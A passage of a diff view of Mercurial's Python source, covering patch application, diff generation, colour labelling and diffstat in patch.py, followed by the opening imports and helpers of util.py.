             afile, bfile, first_hunk, gp = values
             if gp:
                 gp.path = pstrip(gp.path)
                 if gp.oldpath:
                     gp.oldpath = pstrip(gp.oldpath)
             else:
                 gp = makepatchmeta(backend, afile, bfile, first_hunk, strip,
                                    prefix)
             if gp.op == 'RENAME':
                 backend.unlink(gp.oldpath)
             if not first_hunk:
                 if gp.op == 'DELETE':
                     backend.unlink(gp.path)
                     continue
                 data, mode = None, None
                 if gp.op in ('RENAME', 'COPY'):
                     data, mode = store.getfile(gp.oldpath)[:2]
                     if data is None:
                         # This means that the old path does not exist
                         raise PatchError(_("source file '%s' does not exist")
                                            % gp.oldpath)
                 if gp.mode:
                     mode = gp.mode
                     if gp.op == 'ADD':
                         # Added files without content have no hunk and
                         # must be created
                         data = ''
                 if data or mode:
                     if (gp.op in ('ADD', 'RENAME', 'COPY')
                         and backend.exists(gp.path)):
                         raise PatchError(_("cannot create %s: destination "
                                            "already exists") % gp.path)
                     backend.setfile(gp.path, data, mode, gp.oldpath)
                 continue
             try:
                 current_file = patcher(ui, gp, backend, store,
                                        eolmode=eolmode)
             except PatchError as inst:
                 ui.warn(str(inst) + '\n')
                 current_file = None
                 rejects += 1
                 continue
         elif state == 'git':
             for gp in values:
                 path = pstrip(gp.oldpath)
                 data, mode = backend.getfile(path)
                 if data is None:
                     # The error ignored here will trigger a getfile()
                     # error in a place more appropriate for error
                     # handling, and will not interrupt the patching
                     # process.
                     pass
                 else:
                     store.setfile(path, data, mode)
         else:
             raise error.Abort(_('unsupported parser state: %s') % state)
 
     if current_file:
         rejects += current_file.close()
 
     if rejects:
         return -1
     return err
 
 def _externalpatch(ui, repo, patcher, patchname, strip, files,
                    similarity):
     """use <patcher> to apply <patchname> to the working directory.
     returns whether patch was applied with fuzz factor."""
 
     fuzz = False
     args = []
     cwd = repo.root
     if cwd:
         args.append('-d %s' % procutil.shellquote(cwd))
     cmd = ('%s %s -p%d < %s'
            % (patcher, ' '.join(args), strip, procutil.shellquote(patchname)))
     ui.debug('Using external patch tool: %s\n' % cmd)
     fp = procutil.popen(cmd, 'rb')
     try:
         for line in util.iterfile(fp):
             line = line.rstrip()
             ui.note(line + '\n')
             if line.startswith('patching file '):
                 pf = util.parsepatchoutput(line)
                 printed_file = False
                 files.add(pf)
             elif line.find('with fuzz') >= 0:
                 fuzz = True
                 if not printed_file:
                     ui.warn(pf + '\n')
                     printed_file = True
                 ui.warn(line + '\n')
             elif line.find('saving rejects to file') >= 0:
                 ui.warn(line + '\n')
             elif line.find('FAILED') >= 0:
                 if not printed_file:
                     ui.warn(pf + '\n')
                     printed_file = True
                 ui.warn(line + '\n')
     finally:
         if files:
             scmutil.marktouched(repo, files, similarity)
     code = fp.close()
     if code:
         raise PatchError(_("patch command failed: %s") %
                          procutil.explainexit(code))
     return fuzz
 
 def patchbackend(ui, backend, patchobj, strip, prefix, files=None,
                  eolmode='strict'):
     if files is None:
         files = set()
     if eolmode is None:
         eolmode = ui.config('patch', 'eol')
     if eolmode.lower() not in eolmodes:
         raise error.Abort(_('unsupported line endings type: %s') % eolmode)
     eolmode = eolmode.lower()
 
     store = filestore()
     try:
         fp = open(patchobj, 'rb')
     except TypeError:
         fp = patchobj
     try:
         ret = applydiff(ui, fp, backend, store, strip=strip, prefix=prefix,
                         eolmode=eolmode)
     finally:
         if fp != patchobj:
             fp.close()
         files.update(backend.close())
         store.close()
     if ret < 0:
         raise PatchError(_('patch failed to apply'))
     return ret > 0
 
 def internalpatch(ui, repo, patchobj, strip, prefix='', files=None,
                   eolmode='strict', similarity=0):
     """use builtin patch to apply <patchobj> to the working directory.
     returns whether patch was applied with fuzz factor."""
     backend = workingbackend(ui, repo, similarity)
     return patchbackend(ui, backend, patchobj, strip, prefix, files, eolmode)
 
 def patchrepo(ui, repo, ctx, store, patchobj, strip, prefix, files=None,
               eolmode='strict'):
     backend = repobackend(ui, repo, ctx, store)
     return patchbackend(ui, backend, patchobj, strip, prefix, files, eolmode)
 
 def patch(ui, repo, patchname, strip=1, prefix='', files=None, eolmode='strict',
           similarity=0):
     """Apply <patchname> to the working directory.
 
     'eolmode' specifies how end of lines should be handled. It can be:
     - 'strict': inputs are read in binary mode, EOLs are preserved
     - 'crlf': EOLs are ignored when patching and reset to CRLF
     - 'lf': EOLs are ignored when patching and reset to LF
     - None: get it from user settings, default to 'strict'
     'eolmode' is ignored when using an external patcher program.
 
     Returns whether patch was applied with fuzz factor.
     """
     patcher = ui.config('ui', 'patch')
     if files is None:
         files = set()
     if patcher:
         return _externalpatch(ui, repo, patcher, patchname, strip,
                               files, similarity)
     return internalpatch(ui, repo, patchname, strip, prefix, files, eolmode,
                          similarity)
 
 def changedfiles(ui, repo, patchpath, strip=1, prefix=''):
     backend = fsbackend(ui, repo.root)
     prefix = _canonprefix(repo, prefix)
     with open(patchpath, 'rb') as fp:
         changed = set()
         for state, values in iterhunks(fp):
             if state == 'file':
                 afile, bfile, first_hunk, gp = values
                 if gp:
                     gp.path = pathtransform(gp.path, strip - 1, prefix)[1]
                     if gp.oldpath:
                         gp.oldpath = pathtransform(gp.oldpath, strip - 1,
                                                    prefix)[1]
                 else:
                     gp = makepatchmeta(backend, afile, bfile, first_hunk, strip,
                                        prefix)
                 changed.add(gp.path)
                 if gp.op == 'RENAME':
                     changed.add(gp.oldpath)
             elif state not in ('hunk', 'git'):
                 raise error.Abort(_('unsupported parser state: %s') % state)
         return changed
 
 class GitDiffRequired(Exception):
     pass
 
 def diffallopts(ui, opts=None, untrusted=False, section='diff'):
     '''return diffopts with all features supported and parsed'''
     return difffeatureopts(ui, opts=opts, untrusted=untrusted, section=section,
                            git=True, whitespace=True, formatchanging=True)
 
 diffopts = diffallopts
 
 def difffeatureopts(ui, opts=None, untrusted=False, section='diff', git=False,
                     whitespace=False, formatchanging=False):
     '''return diffopts with only opted-in features parsed
 
     Features:
     - git: git-style diffs
     - whitespace: whitespace options like ignoreblanklines and ignorews
     - formatchanging: options that will likely break or cause correctness issues
       with most diff parsers
     '''
     def get(key, name=None, getter=ui.configbool, forceplain=None):
         if opts:
             v = opts.get(key)
             # diffopts flags are either None-default (which is passed
             # through unchanged, so we can identify unset values), or
             # some other falsey default (eg --unified, which defaults
             # to an empty string). We only want to override the config
             # entries from hgrc with command line values if they
             # appear to have been set, which is any truthy value,
             # True, or False.
             if v or isinstance(v, bool):
                 return v
         if forceplain is not None and ui.plain():
             return forceplain
         return getter(section, name or key, untrusted=untrusted)
 
     # core options, expected to be understood by every diff parser
     buildopts = {
         'nodates': get('nodates'),
         'showfunc': get('show_function', 'showfunc'),
         'context': get('unified', getter=ui.config),
     }
     buildopts['worddiff'] = ui.configbool('experimental', 'worddiff')
     buildopts['xdiff'] = ui.configbool('experimental', 'xdiff')
 
     if git:
         buildopts['git'] = get('git')
 
         # since this is in the experimental section, we need to call
         # ui.configbool directory
         buildopts['showsimilarity'] = ui.configbool('experimental',
                                                     'extendedheader.similarity')
 
         # need to inspect the ui object instead of using get() since we want to
         # test for an int
         hconf = ui.config('experimental', 'extendedheader.index')
         if hconf is not None:
             hlen = None
             try:
                 # the hash config could be an integer (for length of hash) or a
                 # word (e.g. short, full, none)
                 hlen = int(hconf)
                 if hlen < 0 or hlen > 40:
                     msg = _("invalid length for extendedheader.index: '%d'\n")
                     ui.warn(msg % hlen)
             except ValueError:
                 # default value
                 if hconf == 'short' or hconf == '':
                     hlen = 12
                 elif hconf == 'full':
                     hlen = 40
                 elif hconf != 'none':
                     msg = _("invalid value for extendedheader.index: '%s'\n")
                     ui.warn(msg % hconf)
             finally:
                 buildopts['index'] = hlen
 
     if whitespace:
         buildopts['ignorews'] = get('ignore_all_space', 'ignorews')
         buildopts['ignorewsamount'] = get('ignore_space_change',
                                           'ignorewsamount')
         buildopts['ignoreblanklines'] = get('ignore_blank_lines',
                                             'ignoreblanklines')
         buildopts['ignorewseol'] = get('ignore_space_at_eol', 'ignorewseol')
     if formatchanging:
         buildopts['text'] = opts and opts.get('text')
         binary = None if opts is None else opts.get('binary')
         buildopts['nobinary'] = (not binary if binary is not None
                                  else get('nobinary', forceplain=False))
         buildopts['noprefix'] = get('noprefix', forceplain=False)
 
     return mdiff.diffopts(**pycompat.strkwargs(buildopts))
 
 def diff(repo, node1=None, node2=None, match=None, changes=None,
          opts=None, losedatafn=None, prefix='', relroot='', copy=None,
          hunksfilterfn=None):
     '''yields diff of changes to files between two nodes, or node and
     working directory.
 
     if node1 is None, use first dirstate parent instead.
     if node2 is None, compare node1 with working directory.
 
     losedatafn(**kwarg) is a callable run when opts.upgrade=True and
     every time some change cannot be represented with the current
     patch format. Return False to upgrade to git patch format, True to
     accept the loss or raise an exception to abort the diff. It is
     called with the name of current file being diffed as 'fn'. If set
     to None, patches will always be upgraded to git format when
     necessary.
 
     prefix is a filename prefix that is prepended to all filenames on
     display (used for subrepos).
 
     relroot, if not empty, must be normalized with a trailing /. Any match
     patterns that fall outside it will be ignored.
 
     copy, if not empty, should contain mappings {dst@y: src@x} of copy
     information.
 
     hunksfilterfn, if not None, should be a function taking a filectx and
     hunks generator that may yield filtered hunks.
     '''
     for fctx1, fctx2, hdr, hunks in diffhunks(
             repo, node1=node1, node2=node2,
             match=match, changes=changes, opts=opts,
             losedatafn=losedatafn, prefix=prefix, relroot=relroot, copy=copy,
     ):
         if hunksfilterfn is not None:
             # If the file has been removed, fctx2 is None; but this should
             # not occur here since we catch removed files early in
             # logcmdutil.getlinerangerevs() for 'hg log -L'.
             assert fctx2 is not None, \
                 'fctx2 unexpectly None in diff hunks filtering'
             hunks = hunksfilterfn(fctx2, hunks)
         text = ''.join(sum((list(hlines) for hrange, hlines in hunks), []))
         if hdr and (text or len(hdr) > 1):
             yield '\n'.join(hdr) + '\n'
         if text:
             yield text
 
 def diffhunks(repo, node1=None, node2=None, match=None, changes=None,
               opts=None, losedatafn=None, prefix='', relroot='', copy=None):
     """Yield diff of changes to files in the form of (`header`, `hunks`) tuples
     where `header` is a list of diff headers and `hunks` is an iterable of
     (`hunkrange`, `hunklines`) tuples.
 
     See diff() for the meaning of parameters.
     """
 
     if opts is None:
         opts = mdiff.defaultopts
 
     if not node1 and not node2:
         node1 = repo.dirstate.p1()
 
     def lrugetfilectx():
         cache = {}
         order = collections.deque()
         def getfilectx(f, ctx):
             fctx = ctx.filectx(f, filelog=cache.get(f))
             if f not in cache:
                 if len(cache) > 20:
                     del cache[order.popleft()]
                 cache[f] = fctx.filelog()
             else:
                 order.remove(f)
             order.append(f)
             return fctx
         return getfilectx
     getfilectx = lrugetfilectx()
 
     ctx1 = repo[node1]
     ctx2 = repo[node2]
 
     relfiltered = False
     if relroot != '' and match.always():
         # as a special case, create a new matcher with just the relroot
         pats = [relroot]
         match = scmutil.match(ctx2, pats, default='path')
         relfiltered = True
 
     if not changes:
         changes = repo.status(ctx1, ctx2, match=match)
     modified, added, removed = changes[:3]
 
     if not modified and not added and not removed:
         return []
 
     if repo.ui.debugflag:
         hexfunc = hex
     else:
         hexfunc = short
     revs = [hexfunc(node) for node in [ctx1.node(), ctx2.node()] if node]
 
     if copy is None:
         copy = {}
         if opts.git or opts.upgrade:
             copy = copies.pathcopies(ctx1, ctx2, match=match)
 
     if relroot is not None:
         if not relfiltered:
             # XXX this would ideally be done in the matcher, but that is
             # generally meant to 'or' patterns, not 'and' them. In this case we
             # need to 'and' all the patterns from the matcher with relroot.
             def filterrel(l):
                 return [f for f in l if f.startswith(relroot)]
             modified = filterrel(modified)
             added = filterrel(added)
             removed = filterrel(removed)
             relfiltered = True
         # filter out copies where either side isn't inside the relative root
         copy = dict(((dst, src) for (dst, src) in copy.iteritems()
                      if dst.startswith(relroot)
                      and src.startswith(relroot)))
 
     modifiedset = set(modified)
     addedset = set(added)
     removedset = set(removed)
     for f in modified:
         if f not in ctx1:
             # Fix up added, since merged-in additions appear as
             # modifications during merges
             modifiedset.remove(f)
             addedset.add(f)
     for f in removed:
         if f not in ctx1:
             # Merged-in additions that are then removed are reported as removed.
             # They are not in ctx1, so We don't want to show them in the diff.
             removedset.remove(f)
     modified = sorted(modifiedset)
     added = sorted(addedset)
     removed = sorted(removedset)
     for dst, src in list(copy.items()):
         if src not in ctx1:
             # Files merged in during a merge and then copied/renamed are
             # reported as copies. We want to show them in the diff as additions.
             del copy[dst]
 
     prefetchmatch = scmutil.matchfiles(
         repo, list(modifiedset | addedset | removedset))
     scmutil.prefetchfiles(repo, [ctx1.rev(), ctx2.rev()], prefetchmatch)
 
     def difffn(opts, losedata):
         return trydiff(repo, revs, ctx1, ctx2, modified, added, removed,
                        copy, getfilectx, opts, losedata, prefix, relroot)
     if opts.upgrade and not opts.git:
         try:
             def losedata(fn):
                 if not losedatafn or not losedatafn(fn=fn):
                     raise GitDiffRequired
             # Buffer the whole output until we are sure it can be generated
             return list(difffn(opts.copy(git=False), losedata))
         except GitDiffRequired:
             return difffn(opts.copy(git=True), None)
     else:
         return difffn(opts, None)
 
 def diffsinglehunk(hunklines):
     """yield tokens for a list of lines in a single hunk"""
     for line in hunklines:
         # chomp
         chompline = line.rstrip('\n')
         # highlight tabs and trailing whitespace
         stripline = chompline.rstrip()
         if line.startswith('-'):
             label = 'diff.deleted'
         elif line.startswith('+'):
             label = 'diff.inserted'
         else:
             raise error.ProgrammingError('unexpected hunk line: %s' % line)
         for token in tabsplitter.findall(stripline):
             if token.startswith('\t'):
                 yield (token, 'diff.tab')
             else:
                 yield (token, label)
 
         if chompline != stripline:
             yield (chompline[len(stripline):], 'diff.trailingwhitespace')
         if chompline != line:
             yield (line[len(chompline):], '')
 
 def diffsinglehunkinline(hunklines):
     """yield tokens for a list of lines in a single hunk, with inline colors"""
     # prepare deleted, and inserted content
     a = ''
     b = ''
     for line in hunklines:
         if line[0] == '-':
             a += line[1:]
         elif line[0] == '+':
             b += line[1:]
         else:
             raise error.ProgrammingError('unexpected hunk line: %s' % line)
     # fast path: if either side is empty, use diffsinglehunk
     if not a or not b:
         for t in diffsinglehunk(hunklines):
             yield t
         return
     # re-split the content into words
     al = wordsplitter.findall(a)
     bl = wordsplitter.findall(b)
     # re-arrange the words to lines since the diff algorithm is line-based
     aln = [s if s == '\n' else s + '\n' for s in al]
     bln = [s if s == '\n' else s + '\n' for s in bl]
     an = ''.join(aln)
     bn = ''.join(bln)
     # run the diff algorithm, prepare atokens and btokens
     atokens = []
     btokens = []
     blocks = mdiff.allblocks(an, bn, lines1=aln, lines2=bln)
     for (a1, a2, b1, b2), btype in blocks:
         changed = btype == '!'
         for token in mdiff.splitnewlines(''.join(al[a1:a2])):
             atokens.append((changed, token))
         for token in mdiff.splitnewlines(''.join(bl[b1:b2])):
             btokens.append((changed, token))
 
     # yield deleted tokens, then inserted ones
     for prefix, label, tokens in [('-', 'diff.deleted', atokens),
                                   ('+', 'diff.inserted', btokens)]:
         nextisnewline = True
         for changed, token in tokens:
             if nextisnewline:
                 yield (prefix, label)
                 nextisnewline = False
             # special handling line end
             isendofline = token.endswith('\n')
             if isendofline:
                 chomp = token[:-1] # chomp
                 token = chomp.rstrip() # detect spaces at the end
                 endspaces = chomp[len(token):]
             # scan tabs
             for maybetab in tabsplitter.findall(token):
                 if '\t' == maybetab[0]:
                     currentlabel = 'diff.tab'
                 else:
                     if changed:
                         currentlabel = label + '.changed'
                     else:
                         currentlabel = label + '.unchanged'
                 yield (maybetab, currentlabel)
             if isendofline:
                 if endspaces:
                     yield (endspaces, 'diff.trailingwhitespace')
                 yield ('\n', '')
                 nextisnewline = True
 
 def difflabel(func, *args, **kw):
     '''yields 2-tuples of (output, label) based on the output of func()'''
     if kw.get(r'opts') and kw[r'opts'].worddiff:
         dodiffhunk = diffsinglehunkinline
     else:
         dodiffhunk = diffsinglehunk
     headprefixes = [('diff', 'diff.diffline'),
                     ('copy', 'diff.extended'),
                     ('rename', 'diff.extended'),
                     ('old', 'diff.extended'),
                     ('new', 'diff.extended'),
                     ('deleted', 'diff.extended'),
                     ('index', 'diff.extended'),
                     ('similarity', 'diff.extended'),
                     ('---', 'diff.file_a'),
                     ('+++', 'diff.file_b')]
     textprefixes = [('@', 'diff.hunk'),
                     # - and + are handled by diffsinglehunk
                    ]
     head = False
 
     # buffers a hunk, i.e. adjacent "-", "+" lines without other changes.
     hunkbuffer = []
     def consumehunkbuffer():
         if hunkbuffer:
             for token in dodiffhunk(hunkbuffer):
                 yield token
             hunkbuffer[:] = []
 
     for chunk in func(*args, **kw):
         lines = chunk.split('\n')
         linecount = len(lines)
         for i, line in enumerate(lines):
             if head:
                 if line.startswith('@'):
                     head = False
             else:
                 if line and not line.startswith((' ', '+', '-', '@', '\\')):
                     head = True
             diffline = False
             if not head and line and line.startswith(('+', '-')):
                 diffline = True
 
             prefixes = textprefixes
             if head:
                 prefixes = headprefixes
             if diffline:
                 # buffered
                 bufferedline = line
                 if i + 1 < linecount:
                     bufferedline += "\n"
                 hunkbuffer.append(bufferedline)
             else:
                 # unbuffered
                 for token in consumehunkbuffer():
                     yield token
                 stripline = line.rstrip()
                 for prefix, label in prefixes:
                     if stripline.startswith(prefix):
                         yield (stripline, label)
                         if line != stripline:
                             yield (line[len(stripline):],
                                    'diff.trailingwhitespace')
                         break
                 else:
                     yield (line, '')
                 if i + 1 < linecount:
                     yield ('\n', '')
         for token in consumehunkbuffer():
             yield token
 
 def diffui(*args, **kw):
     '''like diff(), but yields 2-tuples of (output, label) for ui.write()'''
     return difflabel(diff, *args, **kw)
 
 def _filepairs(modified, added, removed, copy, opts):
     '''generates tuples (f1, f2, copyop), where f1 is the name of the file
     before and f2 is the the name after. For added files, f1 will be None,
     and for removed files, f2 will be None. copyop may be set to None, 'copy'
     or 'rename' (the latter two only if opts.git is set).'''
     gone = set()
 
     copyto = dict([(v, k) for k, v in copy.items()])
 
     addedset, removedset = set(added), set(removed)
 
     for f in sorted(modified + added + removed):
         copyop = None
         f1, f2 = f, f
         if f in addedset:
             f1 = None
             if f in copy:
                 if opts.git:
                     f1 = copy[f]
                     if f1 in removedset and f1 not in gone:
                         copyop = 'rename'
                         gone.add(f1)
                     else:
                         copyop = 'copy'
         elif f in removedset:
             f2 = None
             if opts.git:
                 # have we already reported a copy above?
                 if (f in copyto and copyto[f] in addedset
                     and copy[copyto[f]] == f):
                     continue
         yield f1, f2, copyop
 
 def trydiff(repo, revs, ctx1, ctx2, modified, added, removed,
             copy, getfilectx, opts, losedatafn, prefix, relroot):
     '''given input data, generate a diff and yield it in blocks
 
     If generating a diff would lose data like flags or binary data and
     losedatafn is not None, it will be called.
 
     relroot is removed and prefix is added to every path in the diff output.
 
     If relroot is not empty, this function expects every path in modified,
     added, removed and copy to start with it.'''
 
     def gitindex(text):
         if not text:
             text = ""
         l = len(text)
         s = hashlib.sha1('blob %d\0' % l)
         s.update(text)
         return hex(s.digest())
 
     if opts.noprefix:
         aprefix = bprefix = ''
     else:
         aprefix = 'a/'
         bprefix = 'b/'
 
     def diffline(f, revs):
         revinfo = ' '.join(["-r %s" % rev for rev in revs])
         return 'diff %s %s' % (revinfo, f)
 
     def isempty(fctx):
         return fctx is None or fctx.size() == 0
 
     date1 = dateutil.datestr(ctx1.date())
     date2 = dateutil.datestr(ctx2.date())
 
     gitmode = {'l': '120000', 'x': '100755', '': '100644'}
 
     if relroot != '' and (repo.ui.configbool('devel', 'all-warnings')
                           or repo.ui.configbool('devel', 'check-relroot')):
         for f in modified + added + removed + list(copy) + list(copy.values()):
             if f is not None and not f.startswith(relroot):
                 raise AssertionError(
                     "file %s doesn't start with relroot %s" % (f, relroot))
 
     for f1, f2, copyop in _filepairs(modified, added, removed, copy, opts):
         content1 = None
         content2 = None
         fctx1 = None
         fctx2 = None
         flag1 = None
         flag2 = None
         if f1:
             fctx1 = getfilectx(f1, ctx1)
             if opts.git or losedatafn:
                 flag1 = ctx1.flags(f1)
         if f2:
             fctx2 = getfilectx(f2, ctx2)
             if opts.git or losedatafn:
                 flag2 = ctx2.flags(f2)
         # if binary is True, output "summary" or "base85", but not "text diff"
         if opts.text:
             binary = False
         else:
             binary = any(f.isbinary() for f in [fctx1, fctx2] if f is not None)
 
         if losedatafn and not opts.git:
             if (binary or
                 # copy/rename
                 f2 in copy or
                 # empty file creation
                 (not f1 and isempty(fctx2)) or
                 # empty file deletion
                 (isempty(fctx1) and not f2) or
                 # create with flags
                 (not f1 and flag2) or
                 # change flags
                 (f1 and f2 and flag1 != flag2)):
                 losedatafn(f2 or f1)
 
         path1 = f1 or f2
         path2 = f2 or f1
         path1 = posixpath.join(prefix, path1[len(relroot):])
         path2 = posixpath.join(prefix, path2[len(relroot):])
         header = []
         if opts.git:
             header.append('diff --git %s%s %s%s' %
                           (aprefix, path1, bprefix, path2))
             if not f1: # added
                 header.append('new file mode %s' % gitmode[flag2])
             elif not f2: # removed
                 header.append('deleted file mode %s' % gitmode[flag1])
             else:  # modified/copied/renamed
                 mode1, mode2 = gitmode[flag1], gitmode[flag2]
                 if mode1 != mode2:
                     header.append('old mode %s' % mode1)
                     header.append('new mode %s' % mode2)
                 if copyop is not None:
                     if opts.showsimilarity:
                         sim = similar.score(ctx1[path1], ctx2[path2]) * 100
                         header.append('similarity index %d%%' % sim)
                     header.append('%s from %s' % (copyop, path1))
                     header.append('%s to %s' % (copyop, path2))
         elif revs and not repo.ui.quiet:
             header.append(diffline(path1, revs))
 
         #  fctx.is  | diffopts                | what to   | is fctx.data()
         #  binary() | text nobinary git index | output?   | outputted?
         # ------------------------------------|----------------------------
         #  yes      | no   no       no  *     | summary   | no
         #  yes      | no   no       yes *     | base85    | yes
         #  yes      | no   yes      no  *     | summary   | no
         #  yes      | no   yes      yes 0     | summary   | no
         #  yes      | no   yes      yes >0    | summary   | semi [1]
         #  yes      | yes  *        *   *     | text diff | yes
         #  no       | *    *        *   *     | text diff | yes
         # [1]: hash(fctx.data()) is outputted. so fctx.data() cannot be faked
         if binary and (not opts.git or (opts.git and opts.nobinary and not
                                         opts.index)):
             # fast path: no binary content will be displayed, content1 and
             # content2 are only used for equivalent test. cmp() could have a
             # fast path.
             if fctx1 is not None:
                 content1 = b'\0'
             if fctx2 is not None:
                 if fctx1 is not None and not fctx1.cmp(fctx2):
                     content2 = b'\0' # not different
                 else:
                     content2 = b'\0\0'
         else:
             # normal path: load contents
             if fctx1 is not None:
                 content1 = fctx1.data()
             if fctx2 is not None:
                 content2 = fctx2.data()
 
         if binary and opts.git and not opts.nobinary:
             text = mdiff.b85diff(content1, content2)
             if text:
                 header.append('index %s..%s' %
                               (gitindex(content1), gitindex(content2)))
             hunks = (None, [text]),
         else:
             if opts.git and opts.index > 0:
                 flag = flag1
                 if flag is None:
                     flag = flag2
                 header.append('index %s..%s %s' %
                               (gitindex(content1)[0:opts.index],
                                gitindex(content2)[0:opts.index],
                                gitmode[flag]))
 
             uheaders, hunks = mdiff.unidiff(content1, date1,
                                             content2, date2,
                                             path1, path2,
                                             binary=binary, opts=opts)
             header.extend(uheaders)
         yield fctx1, fctx2, header, hunks
 
 def diffstatsum(stats):
     maxfile, maxtotal, addtotal, removetotal, binary = 0, 0, 0, 0, False
     for f, a, r, b in stats:
         maxfile = max(maxfile, encoding.colwidth(f))
         maxtotal = max(maxtotal, a + r)
         addtotal += a
         removetotal += r
         binary = binary or b
 
     return maxfile, maxtotal, addtotal, removetotal, binary
 
 def diffstatdata(lines):
     diffre = re.compile('^diff .*-r [a-z0-9]+\s(.*)$')
 
     results = []
     filename, adds, removes, isbinary = None, 0, 0, False
 
     def addresult():
         if filename:
             results.append((filename, adds, removes, isbinary))
 
     # inheader is used to track if a line is in the
     # header portion of the diff.  This helps properly account
     # for lines that start with '--' or '++'
     inheader = False
 
     for line in lines:
         if line.startswith('diff'):
             addresult()
             # starting a new file diff
             # set numbers to 0 and reset inheader
             inheader = True
             adds, removes, isbinary = 0, 0, False
             if line.startswith('diff --git a/'):
                 filename = gitre.search(line).group(2)
             elif line.startswith('diff -r'):
                 # format: "diff -r ... -r ... filename"
                 filename = diffre.search(line).group(1)
         elif line.startswith('@@'):
             inheader = False
         elif line.startswith('+') and not inheader:
             adds += 1
         elif line.startswith('-') and not inheader:
             removes += 1
         elif (line.startswith('GIT binary patch') or
               line.startswith('Binary file')):
             isbinary = True
     addresult()
     return results
 
 def diffstat(lines, width=80):
     output = []
     stats = diffstatdata(lines)
     maxname, maxtotal, totaladds, totalremoves, hasbinary = diffstatsum(stats)
 
     countwidth = len(str(maxtotal))
     if hasbinary and countwidth < 3:
         countwidth = 3
     graphwidth = width - countwidth - maxname - 6
     if graphwidth < 10:
         graphwidth = 10
 
     def scale(i):
         if maxtotal <= graphwidth:
             return i
         # If diffstat runs out of room it doesn't print anything,
         # which isn't very useful, so always print at least one + or -
         # if there were at least some changes.
         return max(i * graphwidth // maxtotal, int(bool(i)))
 
     for filename, adds, removes, isbinary in stats:
         if isbinary:
             count = 'Bin'
         else:
             count = '%d' % (adds + removes)
         pluses = '+' * scale(adds)
         minuses = '-' * scale(removes)
         output.append(' %s%s |  %*s %s%s\n' %
                       (filename, ' ' * (maxname - encoding.colwidth(filename)),
                        countwidth, count, pluses, minuses))
 
     if stats:
         output.append(_(' %d files changed, %d insertions(+), '
                         '%d deletions(-)\n')
                       % (len(stats), totaladds, totalremoves))
 
     return ''.join(output)
 
 def diffstatui(*args, **kw):
     '''like diffstat(), but yields 2-tuples of (output, label) for
     ui.write()
     '''
 
     for line in diffstat(*args, **kw).splitlines():
         if line and line[-1] in '+-':
             name, graph = line.rsplit(' ', 1)
             yield (name + ' ', '')
             m = re.search(br'\++', graph)
             if m:
                 yield (m.group(0), 'diffstat.inserted')
             m = re.search(br'-+', graph)
             if m:
                 yield (m.group(0), 'diffstat.deleted')
         else:
             yield (line, '')
         yield ('\n', '')

mercurial/util.py

@@ -1,3789 +1,3790 b''
 # util.py - Mercurial utility functions and platform specific implementations
 #
 #  Copyright 2005 K. Thananchayan <[e-mail]>
 #  Copyright 2005-2007 Matt Mackall <[e-mail]>
 #  Copyright 2006 Vadim Gelfer <[e-mail]>
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
 """Mercurial utility functions and platform specific implementations.
 
 This contains helper routines that are independent of the SCM core and
 hide platform-specific details from the core.
 """
 
 from __future__ import absolute_import, print_function
 
 import abc
 import bz2
 import collections
 import contextlib
 import errno
 import gc
 import hashlib
 import itertools
 import mmap
 import os
 import platform as pyplatform
 import re as remod
 import shutil
 import socket
 import stat
 import sys
 import time
 import traceback
 import warnings
 import zlib
 
 from . import (
     encoding,
     error,
     i18n,
     node as nodemod,
     policy,
     pycompat,
     urllibcompat,
 )
 from .utils import (
     procutil,
     stringutil,
 )
 
 base85 = policy.importmod(r'base85')
 osutil = policy.importmod(r'osutil')
 parsers = policy.importmod(r'parsers')
 
 b85decode = base85.b85decode
 b85encode = base85.b85encode
 
 cookielib = pycompat.cookielib
 httplib = pycompat.httplib
 pickle = pycompat.pickle
 safehasattr = pycompat.safehasattr
 socketserver = pycompat.socketserver
 bytesio = pycompat.bytesio
 # TODO deprecate stringio name, as it is a lie on Python 3.
 stringio = bytesio
 xmlrpclib = pycompat.xmlrpclib
 
 httpserver = urllibcompat.httpserver
 urlerr = urllibcompat.urlerr
 urlreq = urllibcompat.urlreq
 
 # workaround for win32mbcs
 _filenamebytestr = pycompat.bytestr
 
 if pycompat.iswindows:
     from . import windows as platform
 else:
     from . import posix as platform
 
 _ = i18n._
 
 bindunixsocket = platform.bindunixsocket
 cachestat = platform.cachestat
 checkexec = platform.checkexec
 checklink = platform.checklink
 copymode = platform.copymode
 expandglobs = platform.expandglobs
 getfsmountpoint = platform.getfsmountpoint
 getfstype = platform.getfstype
 groupmembers = platform.groupmembers
 groupname = platform.groupname
 isexec = platform.isexec
 isowner = platform.isowner
 listdir = osutil.listdir
 localpath = platform.localpath
 lookupreg = platform.lookupreg
 makedir = platform.makedir
 nlinks = platform.nlinks
 normpath = platform.normpath
 normcase = platform.normcase
 normcasespec = platform.normcasespec
 normcasefallback = platform.normcasefallback
 openhardlinks = platform.openhardlinks
 oslink = platform.oslink
 parsepatchoutput = platform.parsepatchoutput
 pconvert = platform.pconvert
 poll = platform.poll
 posixfile = platform.posixfile
 rename = platform.rename
 removedirs = platform.removedirs
 samedevice = platform.samedevice
 samefile = platform.samefile
 samestat = platform.samestat
 setflags = platform.setflags
 split = platform.split
 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
 statisexec = platform.statisexec
 statislink = platform.statislink
 umask = platform.umask
 unlink = platform.unlink
 username = platform.username
 
 try:
     recvfds = osutil.recvfds
 except AttributeError:
     pass
 
 # Python compatibility
 
 _notset = object()
 
 def _rapply(f, xs):
     if xs is None:
         # assume None means non-value of optional data
         return xs
     if isinstance(xs, (list, set, tuple)):
         return type(xs)(_rapply(f, x) for x in xs)
     if isinstance(xs, dict):
         return type(xs)((_rapply(f, k), _rapply(f, v)) for k, v in xs.items())
     return f(xs)
 
 def rapply(f, xs):
     """Apply function recursively to every item preserving the data structure
 
     >>> def f(x):
     ...     return 'f(%s)' % x
     >>> rapply(f, None) is None
     True
     >>> rapply(f, 'a')
     'f(a)'
     >>> rapply(f, {'a'}) == {'f(a)'}
     True
     >>> rapply(f, ['a', 'b', None, {'c': 'd'}, []])
     ['f(a)', 'f(b)', None, {'f(c)': 'f(d)'}, []]
 
     >>> xs = [object()]
     >>> rapply(pycompat.identity, xs) is xs
     True
     """
     if f is pycompat.identity:
         # fast path mainly for py2
         return xs
     return _rapply(f, xs)
 
 def bitsfrom(container):
     bits = 0
     for bit in container:
         bits |= bit
     return bits
 
 # python 2.6 still have deprecation warning enabled by default. We do not want
 # to display anything to standard user so detect if we are running test and
 # only use python deprecation warning in this case.
